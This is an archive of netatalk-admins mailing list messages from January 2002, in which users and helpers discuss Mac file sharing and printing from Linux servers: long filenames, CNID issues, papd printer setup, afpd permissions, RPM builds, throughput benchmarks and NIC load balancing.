Date: Wed, 16 Jan 2002 14:31:44 -0800
Subject: Re: Long file names and Netatalk
From: Steve Freitas <sflist@ihonk.com>
To: Deano! <deano@viz.com>, umich <netatalk-admins@umich.edu>
Message-ID: <B86B3F50.A88D%sflist@ihonk.com>
In-Reply-To: <1011217794.2127.11.camel@deanix.viz.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I don't believe that there is currently any way for long filenames to be
viewable my MacOS from Netatalk at this time. However, this feature is
slated for inclusion for 1.6.

Steve

> From: Deano! <deano@viz.com>
> Date: 16 Jan 2002 13:49:54 -0800
> To: umich <netatalk-admins@umich.edu>
> Subject: Long file names and Netatalk
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 16 Jan 2002 16:56:11 -0500 (EST)
> 
> Just a refresher, please, as I can't find it in any of the FAQs online:
> 
> What combination of Netatalk and MacOS is needed to properly see
> unix/windows long filename files (greater than 32 chars)? I don't need
> to see the full names, per se, I'd just like files with long names to
> not* disappear under netatalk. Is this only on OS X, or are there other
> options?
> 
> -deano


From netatalk.administrators-errors@umich.edu  Wed Jan 16 18:31:46 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id SAA07851
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 Jan 2002 18:31:46 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA18317
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 Jan 2002 18:31:46 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA18303
	for netatalk.administrators-members@umich.edu; Wed, 16 Jan 2002 18:31:46 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA18259
	for <netatalk-admins@umich.edu>; Wed, 16 Jan 2002 18:31:44 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id AAA27239;
	Thu, 17 Jan 2002 00:56:54 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 17 Jan 2002 00:31:39 +0100
Subject: Re: SUSE 7.3 & Netatalk
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: zio Luca <ziocuca@inwind.it>, umich <netatalk-admins@umich.edu>
Message-ID: <B86BCBEB.18583%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B86BAD52.B9FD%ziocuca@inwind.it>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Ciao Luca,

On Wed, 16 Jan 2002 22:21:06 +0200, uncle Luca wrote:

> I am running a Netatalk fileserver with Suse 7.3.

IIRC, this version is built with --enabled-cnid. So every change you make on
the linux side will have bad effects on your afp filesharing capabilities.

> I have two principal suspects: the 1.4.99 version of Netatalk runs bad

I wouldn't pronounce it "bad" -- only strange.

Are there any messages in syslog when this occurs?

> or the Reiser filesystem is incompatible with Netatalk.

No, definitely not.

> Someone can help me?

Maybe you are running into problems with the new ID scheme called CNID
(a really database-driven solution for persistant file and folder IDs).

You should try out netatalk 1.5.1.1 or use the RPMs, supplied by Olaf from
SuSE: <ftp://ftp.suse.com/pub/people/olh/netatalk/>

Buona giornata,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jan 17 03:17:34 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA28025
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 03:17:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA07446
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 03:17:34 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA07435
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 03:17:34 -0500 (EST)
Received: from walnut.phpwebhosting.com ([216.218.184.245])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id DAA07398
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 03:17:32 -0500 (EST)
Received: (qmail 2047 invoked by uid 508); 17 Jan 2002 08:17:10 -0000
Received: from unknown (HELO ?10.10.100.200?) (64.130.96.209)
  by 216.218.184.245 with SMTP; 17 Jan 2002 08:17:10 -0000
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 17 Jan 2002 02:17:27 -0600
Subject: Help setting up linux print server for macs
From: Simon Dorfman <simon@simondorfman.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B86BE4B6.2315%simon@simondorfman.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hello,
I am trying to set up my linux box as a print server for the two macs on my
LAN.  My linux box has an Okidata OL600e connected via parallel port.  My
linux box is already acting as my DSL router and shares the internet
connection to the macs just fine.  I have installed netatalk 1.5 on the
linux box.  Now how do I get a print que running?  How do I get the Okidata
printer icon to appear in the chooser on my macs?  Any help would be greatly
appreciated.  Thank you.
Simon 


From netatalk.administrators-errors@umich.edu  Thu Jan 17 03:34:51 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA29007
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 03:34:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA13645
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 03:34:51 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA13633
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 03:34:50 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA13602
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 03:34:49 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id JAA126370
          ; Thu, 17 Jan 2002 09:34:43 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C469B05.3235BA9E@unice.fr>
Date: Thu, 17 Jan 2002 09:36:05 +0000
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: "Black, Nathan" <nathan.black@dot.state.wi.us>
CC: netatalk-admins@umich.edu
Subject: Re: Permissions?
References: <117EB231197AD51192150003474D3AE242141C@mad00mp5.dot.state.wi.us>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Black, Nathan" wrote:
> 
> Hello,
> 
> Configured Netatalk on Redhat 7.2
> The Macs see the box but complain about permissions
> the user is macuser with no password in /etc/passwd
> the shares are full drwxrwxrwx
> 
> How do I get Netatalk to log something so that I can see what is preventing
> the connection?
> What account or permissions is it looking for?
> If I compile it with PAM support, does that require that I use PAMs for
> authentication?
> 
> Nathan
i just installed netatalk on redhat 7.2 this month netatalk isn't
shipped with 7.2 so i use gnorpm connect to redhat and download latest
available which is the one for redhat 7.1 i use standard file
configuration, my user have password i didn't try without,and it works
well.

give us more info :your /etc/atalk/afpd.conf ,redhat use
/etc/atalk/config 
and /etc/atalk/AppleVolumes.default for more help
but default files of redhat works at leat for users that share only
their home directory.

for the permission you don't need to put rwx on others sometimes putting
rws on the group help to share with other users in the group,do not try
to access
with root login as afpd refuse to go in superuser mode.

hope it helps!
-- 
MATTEI Damien					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Thu Jan 17 03:58:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA00180
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 03:58:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA03276
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 03:58:56 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA03262
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 03:58:56 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA03221
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 03:58:54 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id KAA09835;
	Thu, 17 Jan 2002 10:24:05 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 17 Jan 2002 09:58:51 +0100
Subject: Re: Help setting up linux print server for macs
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Simon Dorfman <simon@simondorfman.com>, <netatalk-admins@umich.edu>
Message-ID: <B86C50DA.185F1%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B86BE4B6.2315%simon@simondorfman.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 17 Jan 2002 02:17:27 -0600, Simon Dorfman wrote:

> Now how do I get a print que running?  How do I get the Okidata
> printer icon to appear in the chooser on my macs?

1) Make sure you can print locally from your linux box to the printer
   <http://www.linuxprinting.org/howto/>

2) Make sure you can send PostScript data locally from your linux box to
   your queue and it will print correctly (this may involve a PostScript RIP
   like ghostscript if your printer doesn't speak PostScript itself)
   <http://www.linuxprinting.org/howto/ghostscript.html#INVOKING-GS>

3) Get a PPD that describes the capabilities of your printer
   (for non PS-Printers that are driven viaq GhostScript you can generate
   PPDs from here: 
    <http://www.linuxprinting.org/show_driver.cgi?driver=ljet2p>)

4) Set up a papd.conf entry as described in 'man papd' and the comments in
   the config file itself. If you are using a different printing system than
   LPR you have to supply the whole printing command instead of the queue's
   name (see <http://www.rodsbooks.com/network/network-netatalk.html>)

Some general information (but mostly related to AppleTalk printing) can be
found here: <http://www.giub.unibe.ch/~eugster/appleprint.html>

If you supply more information (distribution, etc.) probably someone can
give you some detailed hints on configuration (eg. using webmin for printer
administration: <http://www.webmin.com/webmin/>)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jan 17 09:43:29 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA13416
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 09:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA29142
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 09:43:29 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA29129
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 09:43:28 -0500 (EST)
Received: from dot.state.wi.us (hfstbx.dot.state.wi.us [130.47.34.2])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA29108
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 09:43:27 -0500 (EST)
Received: from SMTP agent by mail gateway 
 Thu, 17 Jan 2002 08:43:27 -0600
Received: by dot.state.wi.us; id JAA25733; Thu, 17 Jan 2002 09:43:24 -0500 (EST)
Received: by mad00mp4.dot.state.wi.us with Internet Mail Service (5.5.2653.19)
	id <CTWDRGRP>; Thu, 17 Jan 2002 08:43:24 -0600
Message-ID: <117EB231197AD51192150003474D3AE242141F@mad00mp5.dot.state.wi.us>
From: "Black, Nathan" <nathan.black@dot.state.wi.us>
To: "'Damien MATTEI'" <Damien.Mattei@unice.fr>
Cc: netatalk-admins@umich.edu
Subject: RE: Permissions?
Date: Thu, 17 Jan 2002 08:43:22 -0600
Return-Receipt-To: "Black, Nathan" <nathan.black@dot.state.wi.us>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"

I almost added configs to my initial post.  the shares are normal /xxxx
"name"  and I don't share the ~ home dir's.  Nothing special in the other
two, and I let afpd detect etho and insmod the appletalk module.  That works
and I can telnet to 548.  

I noticed RedHat didn't ship with Netatalk, so I compiled it. ( I despise
the way RedHat sticks everything in /usr instead of /usr/local/ )  

But I think that is my problem, I compiled with pam.d, shadow and RedHat
support, but it prompts, so I think the auth is incorrect (probably no
PAM)?.  I will re-do it with the RedHat rpm and see what happens.  Do you
know what flags they used to build the RPM?

Thanks for the tips.
Nathan

> -----Original Message-----
> From: Damien MATTEI [mailto:Damien.Mattei@unice.fr]
> Sent: Thursday, January 17, 2002 3:36 AM
> To: Black, Nathan
> Cc: netatalk-admins@umich.edu
> Subject: Re: Permissions?
> 
> 
> "Black, Nathan" wrote:
> > 
> > Hello,
> > 
> > Configured Netatalk on Redhat 7.2
> > The Macs see the box but complain about permissions
> > the user is macuser with no password in /etc/passwd
> > the shares are full drwxrwxrwx
> > 
> > How do I get Netatalk to log something so that I can see 
> what is preventing
> > the connection?
> > What account or permissions is it looking for?
> > If I compile it with PAM support, does that require that I 
> use PAMs for
> > authentication?
> > 
> > Nathan
> i just installed netatalk on redhat 7.2 this month netatalk isn't
> shipped with 7.2 so i use gnorpm connect to redhat and download latest
> available which is the one for redhat 7.1 i use standard file
> configuration, my user have password i didn't try without,and it works
> well.
> 
> give us more info :your /etc/atalk/afpd.conf ,redhat use
> /etc/atalk/config 
> and /etc/atalk/AppleVolumes.default for more help
> but default files of redhat works at leat for users that share only
> their home directory.
> 
> for the permission you don't need to put rwx on others 
> sometimes putting
> rws on the group help to share with other users in the 
> group,do not try
> to access
> with root login as afpd refuse to go in superuser mode.
> 
> hope it helps!
> -- 
> MATTEI Damien					Phone: +33 (0)4 
> 93 37 76 66
> C.N.R.S / U.N.S.A				Fax:   +33 (0)4 
> 93 53 30 71
> UMR 6549 Instabilite & Alterations des Genomes	E-mail: 
> mattei@unice.fr
> Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 
> 2 - France
> 

From netatalk.administrators-errors@umich.edu  Thu Jan 17 10:01:59 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA14265
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 10:01:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA02303
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 10:01:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA02288
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 10:01:58 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA02272
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 10:01:56 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id QAA11898;
	Thu, 17 Jan 2002 16:26:59 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Thu, 17 Jan 2002 16:01:44 +0100
Subject: Re: Permissions?
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: "Black, Nathan" <nathan.black@dot.state.wi.us>,
        "'Damien MATTEI'" <Damien.Mattei@unice.fr>
CC: <netatalk-admins@umich.edu>
Message-ID: <B86CA5E8.186A5%Thomas.Kaiser@phg-online.de>
In-Reply-To: <117EB231197AD51192150003474D3AE242141F@mad00mp5.dot.state.wi.us>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Thu, 17 Jan 2002 08:43:22 -0600, Black, Nathan wrote:

> I will re-do it with the RedHat rpm and see what happens.  Do you
> know what flags they used to build the RPM?

Take a look at 2 sites with recent netatalk RPMs for RedHat 7.2:

<http://kraftwerk.adsl.dk/netatalk/> (the specs are available directly from
there)

<ftp://ftp.falsehope.net/home/tengel/netatalk/> (to know how they build it,
you have to download the src-RPM and extract the netatalk.spec file)

I would strongly recommend using RPMs based on the final 1.5.0 version
instead of using so called 'official' ones from RedHat (the last based on
1.5pre2 -- many things have changed in the meantime)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Thu Jan 17 12:06:08 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA20388
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 12:06:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA13047
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 12:06:08 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA13037
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 12:06:07 -0500 (EST)
Received: from paperboy.epcdirect.co.uk (paperboy.epcdirect.co.uk [195.10.242.11])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA13004
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 12:06:04 -0500 (EST)
Received: (from root@localhost)
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1) id g0HH5kw04288;
	Thu, 17 Jan 2002 17:05:46 GMT
	(envelope-from l.farr@epcdirect.co.uk)
Delivered-To: netatalk-devel@lists.sourceforge.net
Received: from lfarr (l-farr.int.epcdirect.co.uk [192.168.6.200])
	by paperboy.epcdirect.co.uk (8.11.6/8.11.1av) with ESMTP id g0HH5gd04280;
	Thu, 17 Jan 2002 17:05:42 GMT
	(envelope-from l.farr@epcdirect.co.uk)
From: "Lawrence Farr" <l.farr@epcdirect.co.uk>
To: <netatalk-devel@lists.sourceforge.net>
Cc: <netatalk-admins@umich.edu>
Subject: Speed Tests
Date: Thu, 17 Jan 2002 17:05:42 -0000
Message-ID: <000601c19f79$3240c7d0$c806a8c0@lfarr>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Virus-Scanned: by AMaViS perl-10

I have done some Helios Lantesting of Appleshare servers,
and come up with some good results. These are all done 
from the same test mac (A G4 400, 100Mbit connection), 
and connected to the same switches (Extreme Networks 
Summit 48 and 1). All readings are 10 pass averages, and 
the mac is the only client.

Machine 1 FreeBSD 4.4-STABLE 

Celeron 400, 256Mb 66Mhz RAM, 4xUDMA33 Disks Striped in
software. (Vinum).
3com 3C985 SX in a 32 bit/33Mhz slot @ 1000Mbit FDX.

Average Read 	9857.686 Kb/Sec
Average Write 	9580.123 Kb/Sec

Machine 2 Windows 2000 Service Pack 2

Quad Xeon 700/2Mb, 4096Mb 133Mhz RAM, 5x10kRPM U160 drives,
Striped on a Dell PERC2 With 128Mb cache.
3com 3C985 SX in a 64 bit/66Mhz slot @ 1000Mbit FDX.

Average Read	9211.537 Kb/Sec
Average Write	8948.165 Kb/Sec


Lawrence Farr
EPC Direct Limited 


From netatalk.administrators-errors@umich.edu  Thu Jan 17 12:11:44 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA20703
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 12:11:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA26313
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 12:11:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA26306
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 12:11:43 -0500 (EST)
Received: from mail.cobalt.com (firewall.cobalt.com [63.77.128.251])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id MAA26194
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 12:11:37 -0500 (EST)
Received: (from mail@localhost)
	by mail.cobalt.com (8.9.3/8.9.3) id JAA27550;
	Thu, 17 Jan 2002 09:11:27 -0800
Date: Thu, 17 Jan 2002 09:11:27 -0800
Message-Id: <200201171711.JAA27550@mail.cobalt.com>
From: asun@mail.cobalt.com
To: netatalk-admins@umich.edu
Precedence: 
Subject: Automated reply from asun@mail.cobalt.com

asun's mailbox has moved to Adrian.Sun@sun.com. Your e-mail is being forwarded to that address. There is no need to re-send. Please use Adrian.Sun@sun.com in the future. Thank you.


From netatalk.administrators-errors@umich.edu  Thu Jan 17 12:11:48 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA20723
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 12:11:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA19366
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 12:11:48 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA19356
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 12:11:48 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA19337
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 12:11:46 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 17 Jan 2002 09:12:53 -0800
Message-Id: <sc469595.019@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 17 Jan 2002 09:12:28 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Shares within shares
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA20723

Hi there,

I've got a system set up right now where all my users home directories are within a folder on one of my Netatalk shares.  They're set up as drop boxes so students can work together on projects but can't take work from eachother 'behind the scenes' so to speak.

I'd like to give them the ability to map directly to their home directories without moving their directories off of the share.  What sort of problems will this cause?  Since the .AppleDouble system appears to be dependent on the folder a level up I'd imagine there'd be problems with resource forks?  Or will netatalk just 'figure it out'?

Also what will happen with DIDs?

Thanks in advance,

Bryn


----------------------------------------------
Bryn Hughes
Macintosh/Linux Support
Information and Computing Services
Vancouver Community College

email:bhughes@vcc.bc.ca
ph: (604) 443-8702
Urgent: (604) 871-7007

From netatalk.administrators-errors@umich.edu  Thu Jan 17 12:30:17 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id MAA22488
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 12:30:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id MAA17052
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 12:30:17 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id MAA17046
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 12:30:16 -0500 (EST)
Received: from keam1 (keam1.vcc.bc.ca [142.30.247.21])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id MAA17026
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 12:30:15 -0500 (EST)
Received: from VCC-Message_Server by keam1
	with Novell_GroupWise; Thu, 17 Jan 2002 09:31:29 -0800
Message-Id: <sc4699f1.054@keam1>
X-Mailer: Novell GroupWise Internet Agent 5.5.4.1
Date: Thu, 17 Jan 2002 09:31:12 -0800
From: "Bryn Hughes" <bhughes@vcc.bc.ca>
To: <netatalk-admins@umich.edu>
Subject: Using more than one NIC
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Disposition: inline
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id MAA22488

Hi there everyone,

I'm up on Netatalk-1.5.0 now...  My 'old' version would more or less randomly connect clients to one NIC or the other.  The 'new' behavior seems to be to only use eth0 unless I specify another NIC.  What I really want is the behavior of the old version as it gave me some primitive but useful load balancing between my connections.  Is there any way to duplicate this with netatalk-1.5?

Bryn

From netatalk.administrators-errors@umich.edu  Thu Jan 17 13:35:48 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id NAA25592
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 17 Jan 2002 13:35:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA06577
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 17 Jan 2002 13:35:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA06548
	for netatalk.administrators-members@umich.edu; Thu, 17 Jan 2002 13:35:47 -0500 (EST)
Received: from mail.potsdam.edu (potsdam.edu [137.143.110.102])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA06530
	for <netatalk-admins@umich.edu>; Thu, 17 Jan 2002 13:35:46 -0500 (EST)
Received: (qmail 9970 invoked by alias); 17 Jan 2002 18:31:59 -0000
Received: (qmail 9955 invoked from network); 17 Jan 2002 18:31:59 -0000
Received: from comp10574.potsdam.edu (137.143.111.133)
  by 0 with SMTP; 17 Jan 2002 18:31:59 -0000
Subject: Re: Using more than one NIC
From: Matthew Keller <kellermg@potsdam.edu>
To: Bryn Hughes <bhughes@vcc.bc.ca>
Cc: netatalk-admins@umich.edu
In-Reply-To: <sc4699f1.054@keam1>
References: <sc4699f1.054@keam1>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Mailer: Evolution/1.0.1 
Date: 17 Jan 2002 13:35:56 -0500
Message-Id: <1011292556.14330.67.camel@comp10574>
Mime-Version: 1.0


	Depending on your server OS, you can quite easily set up load-balancing
(IP) through a number of different mechanisms. I don't know of any
inherent ability for Netatalk to do this (then again, I didn't know it
ever did).

On Thu, 2002-01-17 at 12:31, Bryn Hughes wrote:
> Hi there everyone,
> 
> I'm up on Netatalk-1.5.0 now...  My 'old' version would more or less randomly connect clients to one NIC or the other.  The 'new' behavior seems to be to only use eth0 unless I specify another NIC.  What I really want is the behavior of the old version as it gave me some primitive but useful load balancing between my connections.  Is there any way to duplicate this with netatalk-1.5?
> 
> Bryn
> 
> 
-- 

Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam
